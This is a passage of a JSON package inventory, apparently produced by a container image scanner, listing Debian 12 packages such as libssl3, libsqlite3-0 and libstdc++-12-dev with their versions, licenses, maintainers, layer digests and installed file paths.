"/usr/lib/x86_64-linux-gnu/libsemanage.so.2", "/usr/share/doc/libsemanage2/changelog.Debian.amd64.gz", "/usr/share/doc/libsemanage2/changelog.Debian.gz", "/usr/share/doc/libsemanage2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsensors-config@1:3.6.0-7.1", "Name": "libsensors-config", "Identifier": { "PURL": "pkg:deb/debian/libsensors-config@3.6.0-7.1?arch=all\u0026distro=debian-12.13\u0026epoch=1", "UID": "dc525d79586a8e4d" }, "Version": "3.6.0", "Release": "7.1", "Epoch": 1, "Arch": "all", "SrcName": "lm-sensors", "SrcVersion": "3.6.0", "SrcRelease": "7.1", "SrcEpoch": 1, "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Aurelien Jarno \u003caurel32@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/libsensors-config/changelog.Debian.gz", "/usr/share/doc/libsensors-config/changelog.gz", "/usr/share/doc/libsensors-config/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsensors5@1:3.6.0-7.1", "Name": "libsensors5", "Identifier": { "PURL": "pkg:deb/debian/libsensors5@3.6.0-7.1?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "75e0b72e891462b1" }, "Version": "3.6.0", "Release": "7.1", "Epoch": 1, "Arch": "amd64", "SrcName": "lm-sensors", "SrcVersion": "3.6.0", "SrcRelease": "7.1", "SrcEpoch": 1, "Licenses": [ "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Aurelien Jarno \u003caurel32@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libsensors-config@1:3.6.0-7.1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsensors.so.5.0.0", "/usr/share/doc/libsensors5/README.Debian", "/usr/share/doc/libsensors5/changelog.Debian.gz", "/usr/share/doc/libsensors5/changelog.gz", "/usr/share/doc/libsensors5/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsepol2@3.4-2.1", "Name": "libsepol2", "Identifier": { "PURL": "pkg:deb/debian/libsepol2@3.4-2.1?arch=amd64\u0026distro=debian-12.13", "UID": "7f2852b984734678" }, "Version": "3.4", "Release": "2.1", "Arch": "amd64", "SrcName": "libsepol", "SrcVersion": "3.4", "SrcRelease": "2.1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "Zlib", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Debian SELinux maintainers \u003cselinux-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libsepol.so.2", "/usr/share/doc/libsepol2/changelog.Debian.gz", "/usr/share/doc/libsepol2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsm6@2:1.2.3-1", "Name": "libsm6", "Identifier": { "PURL": "pkg:deb/debian/libsm6@1.2.3-1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "79ef74b5f8f43909" }, "Version": "1.2.3", "Release": "1", "Epoch": 2, "Arch": "amd64", "SrcName": "libsm", "SrcVersion": "1.2.3", "SrcRelease": "1", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libice6@2:1.0.10-1", "libuuid1@2.38.1-5+deb12u3" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libSM.so.6.0.1", "/usr/share/doc/libsm6/changelog.Debian.gz", "/usr/share/doc/libsm6/changelog.gz", "/usr/share/doc/libsm6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libsmartcols1@2.38.1-5+deb12u3", "Name": "libsmartcols1", "Identifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "88685dc0a8020e21" }, "Version": "2.38.1", "Release": "5+deb12u3", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.38.1", "SrcRelease": "5+deb12u3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "public-domain", "BSD-4-Clause", "MIT", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "LGPL-2.1-or-later", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "util-linux packagers \u003cutil-linux@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsmartcols.so.1.1.0", "/usr/share/doc/libsmartcols1/changelog.Debian.gz", "/usr/share/doc/libsmartcols1/changelog.gz", "/usr/share/doc/libsmartcols1/copyright", "/usr/share/lintian/overrides/libsmartcols1" ], "AnalyzedBy": "dpkg" }, { "ID": "libsqlite3-0@3.40.1-2+deb12u2", "Name": "libsqlite3-0", "Identifier": { "PURL": "pkg:deb/debian/libsqlite3-0@3.40.1-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "6e5c582201f7d46b" }, "Version": "3.40.1", "Release": "2+deb12u2", "Arch": "amd64", "SrcName": "sqlite3", "SrcVersion": "3.40.1", "SrcRelease": "2+deb12u2", "Licenses": [ "public-domain", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Laszlo Boszormenyi (GCS) \u003cgcs@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6", "/usr/share/doc/libsqlite3-0/README.Debian", "/usr/share/doc/libsqlite3-0/changelog.Debian.gz", "/usr/share/doc/libsqlite3-0/changelog.gz", "/usr/share/doc/libsqlite3-0/changelog.html.gz", "/usr/share/doc/libsqlite3-0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libss2@1.47.0-2+b2", "Name": "libss2", "Identifier": { "PURL": "pkg:deb/debian/libss2@1.47.0-2%2Bb2?arch=amd64\u0026distro=debian-12.13", "UID": "f09ee8fddc7cc73b" }, "Version": "1.47.0", "Release": "2+b2", "Arch": "amd64", "SrcName": "e2fsprogs", "SrcVersion": "1.47.0", "SrcRelease": "2", "Licenses": [ "GPL-2.0-only", "LGPL-2.0-only", "BSD-3-Clause", "Apache-2.0", "ISC", "GPL-2.0-or-later", "MIT-US-export", "Kazlib", "Latex2e", "GPL-2+ with Texinfo exception" ], "Maintainer": "Theodore Y. Ts'o \u003ctytso@mit.edu\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libcom-err2@1.47.0-2+b2" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libss.so.2.0", "/usr/share/doc/libss2/changelog.Debian.amd64.gz", "/usr/share/doc/libss2/changelog.Debian.gz", "/usr/share/doc/libss2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libssh2-1@1.10.0-3+b1", "Name": "libssh2-1", "Identifier": { "PURL": "pkg:deb/debian/libssh2-1@1.10.0-3%2Bb1?arch=amd64\u0026distro=debian-12.13", "UID": "6eb86400237eb808" }, "Version": "1.10.0", "Release": "3+b1", "Arch": "amd64", "SrcName": "libssh2", "SrcVersion": "1.10.0", "SrcRelease": "3", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Nicolas Mora \u003cbabelouest@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libssl3@3.0.18-1~deb12u2", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1", "/usr/share/doc/libssh2-1/AUTHORS", "/usr/share/doc/libssh2-1/RELEASE-NOTES", "/usr/share/doc/libssh2-1/changelog.Debian.amd64.gz", "/usr/share/doc/libssh2-1/changelog.Debian.gz", "/usr/share/doc/libssh2-1/changelog.gz", "/usr/share/doc/libssh2-1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libssl3@3.0.18-1~deb12u2", "Name": "libssl3", "Identifier": { "PURL": "pkg:deb/debian/libssl3@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "bdd2ef70447d8bfd" }, "Version": "3.0.18", "Release": "1~deb12u2", "Arch": "amd64", "SrcName": "openssl", "SrcVersion": "3.0.18", "SrcRelease": "1~deb12u2", "Licenses": [ "Apache-2.0", "Artistic-2.0", "GPL-1.0-or-later", "GPL-1.0-only" ], "Maintainer": "Debian OpenSSL Team \u003cpkg-openssl-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/engines-3/afalg.so", "/usr/lib/x86_64-linux-gnu/engines-3/loader_attic.so", "/usr/lib/x86_64-linux-gnu/engines-3/padlock.so", "/usr/lib/x86_64-linux-gnu/libcrypto.so.3", "/usr/lib/x86_64-linux-gnu/libssl.so.3", "/usr/lib/x86_64-linux-gnu/ossl-modules/legacy.so", "/usr/share/doc/libssl3/changelog.Debian.gz", "/usr/share/doc/libssl3/changelog.gz", "/usr/share/doc/libssl3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libstdc++-12-dev@12.2.0-14+deb12u1", "Name": "libstdc++-12-dev", "Identifier": { "PURL": "pkg:deb/debian/libstdc%2B%2B-12-dev@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "f27a21221cf3b50c" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6-dev@2.36-9+deb12u13", "libgcc-12-dev@12.2.0-14+deb12u1", "libstdc++6@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/include/c++/12/algorithm", "/usr/include/c++/12/any", "/usr/include/c++/12/array", "/usr/include/c++/12/atomic", "/usr/include/c++/12/backward/auto_ptr.h", "/usr/include/c++/12/backward/backward_warning.h", "/usr/include/c++/12/backward/binders.h", "/usr/include/c++/12/backward/hash_fun.h", "/usr/include/c++/12/backward/hash_map", "/usr/include/c++/12/backward/hash_set", "/usr/include/c++/12/backward/hashtable.h", "/usr/include/c++/12/backward/strstream", "/usr/include/c++/12/barrier", "/usr/include/c++/12/bit", "/usr/include/c++/12/bits/algorithmfwd.h", "/usr/include/c++/12/bits/align.h", "/usr/include/c++/12/bits/alloc_traits.h", "/usr/include/c++/12/bits/allocated_ptr.h", "/usr/include/c++/12/bits/allocator.h", "/usr/include/c++/12/bits/atomic_base.h", "/usr/include/c++/12/bits/atomic_futex.h", "/usr/include/c++/12/bits/atomic_lockfree_defines.h", "/usr/include/c++/12/bits/atomic_timed_wait.h", "/usr/include/c++/12/bits/atomic_wait.h", "/usr/include/c++/12/bits/basic_ios.h", "/usr/include/c++/12/bits/basic_ios.tcc", "/usr/include/c++/12/bits/basic_string.h", "/usr/include/c++/12/bits/basic_string.tcc", "/usr/include/c++/12/bits/boost_concept_check.h", "/usr/include/c++/12/bits/c++0x_warning.h", "/usr/include/c++/12/bits/char_traits.h", "/usr/include/c++/12/bits/charconv.h", "/usr/include/c++/12/bits/chrono.h", "/usr/include/c++/12/bits/codecvt.h", "/usr/include/c++/12/bits/concept_check.h", "/usr/include/c++/12/bits/cow_string.h", "/usr/include/c++/12/bits/cpp_type_traits.h", "/usr/include/c++/12/bits/cxxabi_forced.h", "/usr/include/c++/12/bits/cxxabi_init_exception.h", "/usr/include/c++/12/bits/deque.tcc", "/usr/include/c++/12/bits/enable_special_members.h", "/usr/include/c++/12/bits/erase_if.h", "/usr/include/c++/12/bits/exception.h", "/usr/include/c++/12/bits/exception_defines.h", "/usr/include/c++/12/bits/exception_ptr.h", "/usr/include/c++/12/bits/forward_list.h", "/usr/include/c++/12/bits/forward_list.tcc", "/usr/include/c++/12/bits/fs_dir.h", "/usr/include/c++/12/bits/fs_fwd.h", "/usr/include/c++/12/bits/fs_ops.h", "/usr/include/c++/12/bits/fs_path.h", "/usr/include/c++/12/bits/fstream.tcc", "/usr/include/c++/12/bits/functexcept.h", "/usr/include/c++/12/bits/functional_hash.h", "/usr/include/c++/12/bits/gslice.h", "/usr/include/c++/12/bits/gslice_array.h", "/usr/include/c++/12/bits/hash_bytes.h", "/usr/include/c++/12/bits/hashtable.h", "/usr/include/c++/12/bits/hashtable_policy.h", "/usr/include/c++/12/bits/indirect_array.h", "/usr/include/c++/12/bits/invoke.h", "/usr/include/c++/12/bits/ios_base.h", "/usr/include/c++/12/bits/istream.tcc", "/usr/include/c++/12/bits/iterator_concepts.h", "/usr/include/c++/12/bits/list.tcc", "/usr/include/c++/12/bits/locale_classes.h", "/usr/include/c++/12/bits/locale_classes.tcc", "/usr/include/c++/12/bits/locale_conv.h", "/usr/include/c++/12/bits/locale_facets.h", "/usr/include/c++/12/bits/locale_facets.tcc", "/usr/include/c++/12/bits/locale_facets_nonio.h", "/usr/include/c++/12/bits/locale_facets_nonio.tcc", "/usr/include/c++/12/bits/localefwd.h", "/usr/include/c++/12/bits/mask_array.h", "/usr/include/c++/12/bits/max_size_type.h", "/usr/include/c++/12/bits/memoryfwd.h", "/usr/include/c++/12/bits/mofunc_impl.h", "/usr/include/c++/12/bits/move.h", "/usr/include/c++/12/bits/move_only_function.h", "/usr/include/c++/12/bits/nested_exception.h", "/usr/include/c++/12/bits/new_allocator.h", "/usr/include/c++/12/bits/node_handle.h", "/usr/include/c++/12/bits/ostream.tcc", "/usr/include/c++/12/bits/ostream_insert.h", "/usr/include/c++/12/bits/parse_numbers.h", "/usr/include/c++/12/bits/postypes.h", "/usr/include/c++/12/bits/predefined_ops.h", "/usr/include/c++/12/bits/ptr_traits.h", "/usr/include/c++/12/bits/quoted_string.h", "/usr/include/c++/12/bits/random.h", "/usr/include/c++/12/bits/random.tcc", "/usr/include/c++/12/bits/range_access.h", "/usr/include/c++/12/bits/ranges_algo.h", "/usr/include/c++/12/bits/ranges_algobase.h", "/usr/include/c++/12/bits/ranges_base.h", "/usr/include/c++/12/bits/ranges_cmp.h", "/usr/include/c++/12/bits/ranges_uninitialized.h", "/usr/include/c++/12/bits/ranges_util.h", "/usr/include/c++/12/bits/refwrap.h", "/usr/include/c++/12/bits/regex.h", "/usr/include/c++/12/bits/regex.tcc", "/usr/include/c++/12/bits/regex_automaton.h", "/usr/include/c++/12/bits/regex_automaton.tcc", "/usr/include/c++/12/bits/regex_compiler.h", "/usr/include/c++/12/bits/regex_compiler.tcc", "/usr/include/c++/12/bits/regex_constants.h", "/usr/include/c++/12/bits/regex_error.h", "/usr/include/c++/12/bits/regex_executor.h", "/usr/include/c++/12/bits/regex_executor.tcc", "/usr/include/c++/12/bits/regex_scanner.h", "/usr/include/c++/12/bits/regex_scanner.tcc", "/usr/include/c++/12/bits/semaphore_base.h", "/usr/include/c++/12/bits/shared_ptr.h", "/usr/include/c++/12/bits/shared_ptr_atomic.h", "/usr/include/c++/12/bits/shared_ptr_base.h", "/usr/include/c++/12/bits/slice_array.h", "/usr/include/c++/12/bits/specfun.h", "/usr/include/c++/12/bits/sstream.tcc", "/usr/include/c++/12/bits/std_abs.h", "/usr/include/c++/12/bits/std_function.h", "/usr/include/c++/12/bits/std_mutex.h", "/usr/include/c++/12/bits/std_thread.h", "/usr/include/c++/12/bits/stl_algo.h", "/usr/include/c++/12/bits/stl_algobase.h", "/usr/include/c++/12/bits/stl_bvector.h", "/usr/include/c++/12/bits/stl_construct.h", "/usr/include/c++/12/bits/stl_deque.h", "/usr/include/c++/12/bits/stl_function.h", "/usr/include/c++/12/bits/stl_heap.h", "/usr/include/c++/12/bits/stl_iterator.h", "/usr/include/c++/12/bits/stl_iterator_base_funcs.h", "/usr/include/c++/12/bits/stl_iterator_base_types.h", "/usr/include/c++/12/bits/stl_list.h", "/usr/include/c++/12/bits/stl_map.h", "/usr/include/c++/12/bits/stl_multimap.h", "/usr/include/c++/12/bits/stl_multiset.h", "/usr/include/c++/12/bits/stl_numeric.h", "/usr/include/c++/12/bits/stl_pair.h", "/usr/include/c++/12/bits/stl_queue.h", "/usr/include/c++/12/bits/stl_raw_storage_iter.h", "/usr/include/c++/12/bits/stl_relops.h", "/usr/include/c++/12/bits/stl_set.h", "/usr/include/c++/12/bits/stl_stack.h", "/usr/include/c++/12/bits/stl_tempbuf.h", "/usr/include/c++/12/bits/stl_tree.h", "/usr/include/c++/12/bits/stl_uninitialized.h", "/usr/include/c++/12/bits/stl_vector.h", "/usr/include/c++/12/bits/stream_iterator.h", "/usr/include/c++/12/bits/streambuf.tcc", "/usr/include/c++/12/bits/streambuf_iterator.h", "/usr/include/c++/12/bits/string_view.tcc", "/usr/include/c++/12/bits/stringfwd.h", "/usr/include/c++/12/bits/this_thread_sleep.h", "/usr/include/c++/12/bits/uniform_int_dist.h", "/usr/include/c++/12/bits/unique_lock.h", "/usr/include/c++/12/bits/unique_ptr.h", "/usr/include/c++/12/bits/unordered_map.h", "/usr/include/c++/12/bits/unordered_set.h", "/usr/include/c++/12/bits/uses_allocator.h", "/usr/include/c++/12/bits/uses_allocator_args.h", "/usr/include/c++/12/bits/utility.h", "/usr/include/c++/12/bits/valarray_after.h", "/usr/include/c++/12/bits/valarray_array.h", "/usr/include/c++/12/bits/valarray_array.tcc", "/usr/include/c++/12/bits/valarray_before.h", "/usr/include/c++/12/bits/vector.tcc", "/usr/include/c++/12/bitset", "/usr/include/c++/12/cassert", "/usr/include/c++/12/ccomplex", "/usr/include/c++/12/cctype", "/usr/include/c++/12/cerrno", "/usr/include/c++/12/cfenv", "/usr/include/c++/12/cfloat", "/usr/include/c++/12/charconv", "/usr/include/c++/12/chrono", "/usr/include/c++/12/cinttypes", "/usr/include/c++/12/ciso646", "/usr/include/c++/12/climits", "/usr/include/c++/12/clocale", "/usr/include/c++/12/cmath", "/usr/include/c++/12/codecvt", "/usr/include/c++/12/compare", "/usr/include/c++/12/complex", "/usr/include/c++/12/complex.h", "/usr/include/c++/12/concepts", "/usr/include/c++/12/condition_variable", "/usr/include/c++/12/coroutine", "/usr/include/c++/12/csetjmp", "/usr/include/c++/12/csignal", "/usr/include/c++/12/cstdalign", "/usr/include/c++/12/cstdarg", "/usr/include/c++/12/cstdbool", "/usr/include/c++/12/cstddef", "/usr/include/c++/12/cstdint", "/usr/include/c++/12/cstdio", "/usr/include/c++/12/cstdlib", "/usr/include/c++/12/cstring", "/usr/include/c++/12/ctgmath", "/usr/include/c++/12/ctime", "/usr/include/c++/12/cuchar", "/usr/include/c++/12/cwchar", "/usr/include/c++/12/cwctype", "/usr/include/c++/12/cxxabi.h", "/usr/include/c++/12/debug/assertions.h", "/usr/include/c++/12/debug/bitset", "/usr/include/c++/12/debug/debug.h", "/usr/include/c++/12/debug/deque", "/usr/include/c++/12/debug/formatter.h", "/usr/include/c++/12/debug/forward_list", "/usr/include/c++/12/debug/functions.h", "/usr/include/c++/12/debug/helper_functions.h", "/usr/include/c++/12/debug/list", "/usr/include/c++/12/debug/macros.h", "/usr/include/c++/12/debug/map", "/usr/include/c++/12/debug/map.h", "/usr/include/c++/12/debug/multimap.h", "/usr/include/c++/12/debug/multiset.h", "/usr/include/c++/12/debug/safe_base.h", "/usr/include/c++/12/debug/safe_container.h", "/usr/include/c++/12/debug/safe_iterator.h", "/usr/include/c++/12/debug/safe_iterator.tcc", "/usr/include/c++/12/debug/safe_local_iterator.h", "/usr/include/c++/12/debug/safe_local_iterator.tcc", "/usr/include/c++/12/debug/safe_sequence.h", "/usr/include/c++/12/debug/safe_sequence.tcc", "/usr/include/c++/12/debug/safe_unordered_base.h", "/usr/include/c++/12/debug/safe_unordered_container.h", "/usr/include/c++/12/debug/safe_unordered_container.tcc", "/usr/include/c++/12/debug/set", "/usr/include/c++/12/debug/set.h", "/usr/include/c++/12/debug/stl_iterator.h", "/usr/include/c++/12/debug/string", "/usr/include/c++/12/debug/unordered_map", "/usr/include/c++/12/debug/unordered_set", "/usr/include/c++/12/debug/vector", "/usr/include/c++/12/decimal/decimal", "/usr/include/c++/12/decimal/decimal.h", "/usr/include/c++/12/deque", "/usr/include/c++/12/exception", "/usr/include/c++/12/execution", "/usr/include/c++/12/expected", "/usr/include/c++/12/experimental/algorithm", "/usr/include/c++/12/experimental/any", "/usr/include/c++/12/experimental/array", "/usr/include/c++/12/experimental/bits/fs_dir.h", "/usr/include/c++/12/experimental/bits/fs_fwd.h", "/usr/include/c++/12/experimental/bits/fs_ops.h", "/usr/include/c++/12/experimental/bits/fs_path.h", "/usr/include/c++/12/experimental/bits/lfts_config.h", "/usr/include/c++/12/experimental/bits/net.h", "/usr/include/c++/12/experimental/bits/numeric_traits.h", "/usr/include/c++/12/experimental/bits/shared_ptr.h", "/usr/include/c++/12/experimental/bits/simd.h", "/usr/include/c++/12/experimental/bits/simd_builtin.h", "/usr/include/c++/12/experimental/bits/simd_converter.h", "/usr/include/c++/12/experimental/bits/simd_detail.h", "/usr/include/c++/12/experimental/bits/simd_fixed_size.h", "/usr/include/c++/12/experimental/bits/simd_math.h", "/usr/include/c++/12/experimental/bits/simd_neon.h", "/usr/include/c++/12/experimental/bits/simd_ppc.h", "/usr/include/c++/12/experimental/bits/simd_scalar.h", "/usr/include/c++/12/experimental/bits/simd_x86.h", "/usr/include/c++/12/experimental/bits/simd_x86_conversions.h", "/usr/include/c++/12/experimental/bits/string_view.tcc", "/usr/include/c++/12/experimental/buffer", "/usr/include/c++/12/experimental/chrono", "/usr/include/c++/12/experimental/deque", "/usr/include/c++/12/experimental/executor", "/usr/include/c++/12/experimental/filesystem", "/usr/include/c++/12/experimental/forward_list", "/usr/include/c++/12/experimental/functional", "/usr/include/c++/12/experimental/internet", "/usr/include/c++/12/experimental/io_context", "/usr/include/c++/12/experimental/iterator", "/usr/include/c++/12/experimental/list", "/usr/include/c++/12/experimental/map", "/usr/include/c++/12/experimental/memory", "/usr/include/c++/12/experimental/memory_resource", "/usr/include/c++/12/experimental/net", "/usr/include/c++/12/experimental/netfwd", "/usr/include/c++/12/experimental/numeric", "/usr/include/c++/12/experimental/optional", "/usr/include/c++/12/experimental/propagate_const", "/usr/include/c++/12/experimental/random", "/usr/include/c++/12/experimental/ratio", "/usr/include/c++/12/experimental/regex", "/usr/include/c++/12/experimental/set", "/usr/include/c++/12/experimental/simd", "/usr/include/c++/12/experimental/socket", "/usr/include/c++/12/experimental/source_location", "/usr/include/c++/12/experimental/string", "/usr/include/c++/12/experimental/string_view", "/usr/include/c++/12/experimental/system_error", "/usr/include/c++/12/experimental/timer", "/usr/include/c++/12/experimental/tuple", "/usr/include/c++/12/experimental/type_traits", "/usr/include/c++/12/experimental/unordered_map", "/usr/include/c++/12/experimental/unordered_set", "/usr/include/c++/12/experimental/utility", "/usr/include/c++/12/experimental/vector", "/usr/include/c++/12/ext/algorithm", "/usr/include/c++/12/ext/aligned_buffer.h", "/usr/include/c++/12/ext/alloc_traits.h", "/usr/include/c++/12/ext/atomicity.h", "/usr/include/c++/12/ext/bitmap_allocator.h", "/usr/include/c++/12/ext/cast.h", "/usr/include/c++/12/ext/cmath", "/usr/include/c++/12/ext/codecvt_specializations.h", "/usr/include/c++/12/ext/concurrence.h", "/usr/include/c++/12/ext/debug_allocator.h", "/usr/include/c++/12/ext/enc_filebuf.h", "/usr/include/c++/12/ext/extptr_allocator.h", "/usr/include/c++/12/ext/functional", "/usr/include/c++/12/ext/hash_map", "/usr/include/c++/12/ext/hash_set", "/usr/include/c++/12/ext/iterator", "/usr/include/c++/12/ext/malloc_allocator.h", "/usr/include/c++/12/ext/memory", "/usr/include/c++/12/ext/mt_allocator.h", "/usr/include/c++/12/ext/new_allocator.h", "/usr/include/c++/12/ext/numeric", "/usr/include/c++/12/ext/numeric_traits.h", "/usr/include/c++/12/ext/pb_ds/assoc_container.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/bin_search_tree_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/iterators_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/node_iterators.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/point_iterators.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/policy_access_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/r_erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/rotate_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/bin_search_tree_/traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/binary_heap_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/const_iterator.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/entry_cmp.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/entry_pred.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/info_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/iterators_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/point_const_iterator.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/policy_access_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/resize_policy.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binary_heap_/trace_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_/binomial_heap_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_base_/binomial_heap_base_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_base_/constructors_destructor_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_base_/debug_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_base_/erase_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_base_/find_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_base_/insert_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/binomial_heap_base_/split_join_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/branch_policy/branch_policy.hpp", "/usr/include/c++/12/ext/pb_ds/detail/branch_policy/null_node_metadata.hpp", "/usr/include/c++/12/ext/pb_ds/detail/branch_policy/traits.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/cc_ht_map_.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/cmp_fn_imps.hpp", "/usr/include/c++/12/ext/pb_ds/detail/cc_hash_table_map_/cond_key_dtor_entry_dealtor.hpp", 